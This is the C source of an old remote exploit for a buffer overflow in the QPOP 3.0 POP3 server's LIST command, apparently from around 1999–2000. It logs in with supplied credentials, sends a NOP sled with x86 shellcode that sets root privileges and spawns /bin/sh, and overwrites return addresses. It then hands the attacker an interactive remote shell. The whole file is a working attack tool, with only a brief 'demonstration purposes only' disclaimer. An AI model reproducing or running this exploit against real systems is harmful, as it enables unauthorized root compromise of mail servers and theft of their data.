/*
 * Linux(x86) - Crappy exploit for QPOP3.0's LIST bug - PUBLIC VERSION
 *
 * This vulnerability was finally made public in January 2000.
 * Discovered and exploited by  p0rTaL (portal@security.is) Nov 20th 1999
 * Greetings go to the security.is team, (\x90, DiGiT, duke, doze), #!teso
 * and Ircnet's #hax.
 * Compiles on Linux, porting should be easy.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <getopt.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>


#define MAX_TYPE           1
#define MAX_SHELLCODE      2
#define NOP                '\x90' /* x86 only */
#define APPEND_ADDRESSES   5

#define HARDCORE
#define DEBUG

#define LINEFEED           "\r\n"


int sock           = -1;
int port           = 110;  //this ought to be the default
int type           = 0;
int shellcode_num  = -1;   //use the default
int offset         = 0;
int impact_place   = 995;
int appenders      = APPEND_ADDRESSES;
unsigned char buffer[1500];
struct in_addr in;
char *victim = NULL;


typedef struct 
{
   char *platform;
   char *function;
   char *code;
} SHELLCODE;


typedef struct 
{
   char *platform;
   char *version;
   char *tested_on;
   SHELLCODE *shellcode;
   unsigned long address;
} PLATFORM;


SHELLCODE shellcodes[] =
{ 
   {  
      "Linux libc", "Standard dup2() /bin/bash interactive pipe",

      /* this is setreuid(0, 0), additionally bypasses using 
         islower() characters, and various newlines */
      "\x31\xdb\x31\xc9\xb0\x40\x83\xc0\x06\xcd\x80"
      /* this is setuid(0) */
      "\xb0\x17\x31\xdb\x31\xc9\xcd\x80"
      "\x31\xdb\xb0\x1b\xcd\x80\x31\xc0\xb0\x02\xcd\x80\x85\xc0"
      "\x75\x32\x31\xdb\x89\xd9\xb1\x01\x31\xc0\xb0\x3f\xcd\x80"
      "\x31\xdb\x89\xd9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80"
      "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
      "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
      "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
      "\xff\xff/bin/sh........."
   }, {  
      NULL, NULL, NULL
   }
};


PLATFORM platforms[] =
{
   {  "Slackware Linux", "3.0b20", "4.0", &shellcodes[0], 0xbffff3e3  },
   {  NULL, NULL, NULL, 0, 0  }
};


struct
{
   char on;
   unsigned long start;
   unsigned long now;
   unsigned long end;
   int step;
} bruteforce;



void do_lookup (void)
{
   struct hostent *he;

   if ( (he = gethostbyname (victim)) != NULL)
   {
      memcpy (&in, he->h_addr, he->h_length);
      printf ("Resolved %s to %s\n", victim, inet_ntoa(in));
   } else
      if ( (inet_aton (victim, &in)) < 0)
      {
         fprintf (stderr, "Unable to resolve %s. (errno == %d)\n", victim, errno);
         exit (-1);
      }

   if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
   {
      fprintf (stderr, "\"Socketation\" failed. (errno == %d)\n", errno);
      exit (-1);
   }
}


void do_connect (void)
{
   struct sockaddr_in si;
   
   memset ((char *)&si, '\0', sizeof (si)); //should clean sin_zero as well
   si.sin_family      = AF_INET;
   si.sin_addr.s_addr = in.s_addr; 
   si.sin_port        = htons(port);
   
   if ( (connect (sock, (struct sockaddr *) &si, sizeof (si))) < 0)
   {
      fprintf (stderr, "Unable to connect to %s:%d, errno == %d\n", victim, port, errno);
      exit (-1);
   }
   
   
//   connect (sock, (struct sockaddr *)&si, sizeof(si));
}



void usage(char *progname)
{
   int i;
   
   printf ("QPOP3.0-LIST remotely local exploit :)\n");
   printf ("Discovered and exploited Nov. 20th 1999 by p0rTaL (portal@security.is)\n\n");
   printf ("%s <hostname> <user> <passwd> [-p port] [-t type] [-o offset] [-s shellcode]\n", progname);
   printf ("Currently supported platforms:\n");

   for (i = 0; platforms[i].platform != NULL; i++)
       printf ("%d: %s %s, QPOP %s, shellcode %s - %#x\n", i, platforms[i].platform, platforms[i].tested_on,
          platforms[i].version, platforms[i].shellcode->platform, platforms[i].address);

   printf ("\nCurrent shellcodes:\n");
   for (i = 0; shellcodes[i].platform != NULL; i++)
      printf ("%d: %s (%d bytes) - %s\n", i, shellcodes[i].platform, strlen (shellcodes[i].code), shellcodes[i].function);

   printf ("\n    This exploit is for demonstration purposes only. You, and only you, are\n");
   printf ("                      responsible for your OWN actions.\n\n");
   exit (0);
}



void receive (void)
{
   unsigned char buf[1500+1];
   int i;
   
   memset (buf, '\0', sizeof(buf));
   if ( (read (sock, buf, sizeof(buf)-1)) < 0)
   {
      fprintf (stderr, "An error occured while reading from the server. (errno == %d)\n", errno);
      close (sock);
      exit (-1);
   }
   printf ("READ: \033[1;34m");
   for (i = 0; i < strlen(buf); i++)
      printf ("%02x  ", buf[i]);

   printf ("\033[0;37m\n(%s)\n", buf);
}


void transmit (char *string)  //no need for a VA list
{
   if ( (write (sock, string, strlen(string))) < 0)
   {
      fprintf (stderr, "An error occured during a write attempt to the server. (errno == %d)\n", errno);
      exit (-1);
   }
}


void terminal (int sock)
{
   char buffer[1024+1];
   fd_set remote_fds;
   fd_set local_fds;
   int i;
   
   for (i = 0; i < NSIG; i++)
      if (i != SIGINT) //allow the user to ctrl+c out
         signal (i, SIG_IGN);
   
   FD_ZERO (&local_fds);
   FD_SET (0, &local_fds);
   FD_SET (sock, &local_fds);
   
   while (1)
   {
      memcpy (&remote_fds, &local_fds, sizeof(local_fds));
      if ( (i = select (sock + 1, &remote_fds, NULL, NULL, NULL)) < 0)
      {
         fprintf (stderr, "Error, select() returned %d, errno is %d\n", i, errno);
         exit(-1);
      }
      if (i == 0)
      {
         fprintf (stderr, "Session was terminated remotely.\n");
         exit(0);
      }
      if (FD_ISSET (sock, &remote_fds))
      {
         if ( (i = read(sock, buffer, sizeof(buffer))) < 0)
         {
            /* the user got disconnected, most probably */
#ifdef DEBUG
            fprintf (stderr, "read() failed, returned %d, errno is %d\n", i, errno);
#endif
            fprintf (stderr, "\nDisconnected!\n");
            exit(0);
         }
         write (1, buffer, i); //stdout, receive
//         receive();
      }
         
      if (FD_ISSET (0, &remote_fds))
      {
         memset (buffer, '\0', sizeof(buffer));
         if ( (i = read(0, buffer, sizeof(buffer))) < 0)
         {
            fprintf (stderr, "read() returned %d, errno is %d\n", i, errno);
            exit(-1);
         }
         write (sock, buffer, i); //transmit
      }
   }
}


void log_on (char *user, char *password, int sock)
{
   char buf[1024+1];
   int messages = 0;

   printf ("-> Authenticating ...\n");
   
   write (sock, "USER ", 5);
   write (sock, user, strlen(user));
   write (sock, LINEFEED, strlen(LINEFEED));
   usleep (500000); //assuming great bandwidth
   memset (buf, '\0', sizeof(buf));
   if ( (read (sock, buf, sizeof(buf)-1)) < 0)
   {
      fprintf (stderr, "Remote server closed the connection during USER phase.\n");
      close (sock);
      exit(-1);
   }
#ifdef DEBUG
   printf (" READ: (%s)\n", buf);
#endif   
   write (sock, "PASS ", 5);
   write (sock, password, strlen(password));
   write (sock, LINEFEED, strlen(LINEFEED));
   usleep (500000);
   memset (buf, '\0', sizeof(buf));
   if ( (read (sock, buf, sizeof(buf)-1)) < 0)
   {
      fprintf (stderr, "Remote server closed the connection during PASS phase.\n");
      close (sock);
      exit(-1);
   }
   if ( (strstr (buf, "+OK")) && (strstr (buf, "message")) ) 
   {
      printf ("-> Successfully logged on as \"%s\"\n", user);
      *(strstr (buf, " message")) = '\0'; //terminate it
      messages = atoi( (char *)(strstr (buf, "has") + 4) );
      printf ("-> Message%s: %d ", (messages == 1) ? "" : "s", messages);
      if (messages <= 0)
      {
         printf ("\033[1;31m=\033[0;37m Not OK\n\n"
            "ERROR: The LIST vulnerability cannot be exploited except\n"
            "       if there are existing messages in the mailbox.\n"
            "       Go send yourself a mail :)\n");
         close (sock);
         exit (-1);
      }
      printf ("- OK\n");
   } else {
      fprintf (stderr, "Unable to log on, incorrect user/password or something.\n");
      fprintf (stderr, "Last response from server:\n\"%s\"\n", buf);
      close (sock);
      exit(-1);
   }
}



int main(int argc, char **argv)
{
   int i, next_arg = 0;
   char *progname = argv[0];
   char *remote_user = NULL,
        *remote_passwd = NULL,
        *message_number = strdup("1");
   
   if (argc < 4)
      usage(progname);
      
   memset ((char *)&bruteforce, '\0', sizeof((char *)&bruteforce));
   
   victim = (char *)strdup(argv[1]);
   argv++;
   argc--;

   remote_user = (char *)strdup(argv[1]);
   argv++;
   argc--;

   remote_passwd = (char *)strdup(argv[1]);
   argv++;
   argc--;
      
   while ( (next_arg = getopt(argc, argv, "p:t:s:o:r:i:b")) != EOF)
      switch (next_arg)
      {
         case 'p':
            if ( (atoi(optarg) < 0) || (atoi(optarg) > 65535) )
            {
               fprintf (stderr, "Outrageous port-number! Stick with a number below 65535 (and above zero)\n");
               usage (progname);
            }
            port = atoi(optarg);
            printf (" -> Port set to %d.\n", port);
            break;
         case 't':
            if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_TYPE) )
            {
               fprintf (stderr, "Invalid type, should range from 0 to %d.\n", MAX_TYPE);
               usage (progname);
            }
            type = atoi(optarg);
            printf (" -> Type set to %d, %s %s.\n", type, platforms[type].platform, platforms[type].tested_on);
            break;
         case 's':
            if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_SHELLCODE) )
            {
               fprintf (stderr, "Invalid shellcode number, should range from 0 to %d.\n", MAX_SHELLCODE);
               usage (progname);
            }
            shellcode_num = atoi(optarg);
            printf (" -> Shellcode set for %s, %s.\n", shellcodes[shellcode_num].platform, shellcodes[shellcode_num].function);
            break;
         case 'o':
            if (bruteforce.on == 1)
            {
               fprintf (stderr, "You cannot specify -offset and -bruteforce at the same time.\nMake up your mind!\n");
               exit (-1);
            }
            offset = atoi(optarg);
            printf (" -> Offset set to %d.\n", offset);
            break;
         case 'b':
            bruteforce.on = 1;
            printf (" -> Bruteforce mode selected (not fully implemented in this version)\n");
            printf (" -> Enter offsets seperated with a space, and a 'step' number (e.g. \"bfffffff bffff000 4\"):\n   ");
            if ( (fscanf (stdin, "%x %x %d", &bruteforce.start, &bruteforce.end, &bruteforce.step)) != 3)
            {
               fprintf (stderr, "Unknown offsets.\n");
               exit (-1);
            }
            break;
         case 'i':
            impact_place = atoi(optarg);
            printf (" -> Place of impact set to %d.\n", impact_place);
            break;
         case 'r':
            appenders = atoi(optarg);
            printf (" -> Number of return addresses set to %d.\n", appenders);
            break;
         case 'm':
            message_number = strdup(optarg);
            printf ("-> Message number set to \"%.10s\".\n", message_number);
            break;
         default:
            fprintf (stderr, "Fictional option: '%c', please take your medication.\n", next_arg);
            usage (progname);
            break;
      }

   do_lookup();

   printf ("\nAttacking %s, a %s %s host\n", victim, platforms[type].platform, platforms[type].tested_on);
   
   if (shellcode_num != -1)
   {
      platforms[type].shellcode = &(shellcodes[shellcode_num]);
      printf (" - Using %s shellcode\n", shellcodes[shellcode_num].platform);
   } else
      printf (" - Using the default shellcode, %s\n", platforms[type].shellcode->platform);

   if (bruteforce.on == 0)
   {
      platforms[type].address -= offset;
      printf (" - Using return address %#x\n", platforms[type].address);
      printf ("\nAssembling shellspawning code\n");
   } else
      printf (" - Going to bruteforce from %#x to %#x in steps of %d\n", bruteforce.start, bruteforce.end, bruteforce.step);

   printf ("-> Connecting to %s, port %d\n", inet_ntoa(in), port);
   
   do_connect();
   receive ();
   log_on (remote_user, remote_passwd, sock);

   memset (buffer, '\0', sizeof(buffer));
   sprintf (buffer, "list %.10s ", message_number); //the bug lies in pop_list.c
   /* I do the '%s' to allow the possibility to enter '0001', in order
      a non-working length of <nops>+<shellcode>+<ret>... (theoretically ;) */
      

#ifdef DEBUG
   printf ("Step 1, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
#endif

   memset (buffer+strlen(buffer), NOP, sizeof(buffer)-strlen(buffer)-1);

#ifdef DEBUG
   printf ("Step 2, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
#endif

   strncpy (buffer + impact_place - strlen(platforms[type].shellcode->code), platforms[type].shellcode->code, 
      sizeof(buffer) - impact_place - 5 - 1);
   //impact_place + strlen(platforms[type].shellcode->code) - (APPEND_ADDRESSES * sizeof(platforms[type].address) + 2) - 1);

#ifdef DEBUG
   printf ("Step 3, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
#endif

   i = 0;
   
   while (i < appenders) 
   {
/*
      o      = buffer + strlen(buffer);
      *(o)   = (platforms[type].address & 0x000000ff);
      *(o+1) = (platforms[type].address & 0x0000ff00) >> 8;
      *(o+2) = (platforms[type].address & 0x00ff0000) >> 16;
      *(o+3) = (platforms[type].address & 0xff000000) >> 24;
      *(o+4) = '\0';
*/      

      memcpy ((char *)&buffer + strlen(buffer), &platforms[type].address, 4);
#ifdef HARDCORE
      printf ("-> sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
#endif
      i++;
   }

   strcpy (buffer + strlen(buffer), "\x0d\x0a"); // \x00 gets appended automatically


#ifdef HARDCORE
   printf ("Code is:\n\033[1;31m");
   for (i = 0; i < strlen(buffer); i++)
      printf ("%02x  ", buffer[i]);

   printf ("\033[0;37m\n");
#endif   
   
   transmit (buffer);
   receive ();
   printf ("Got shell!\n");

 
   terminal (sock);

   close (sock);
 //not reached
   
   return (0);
}

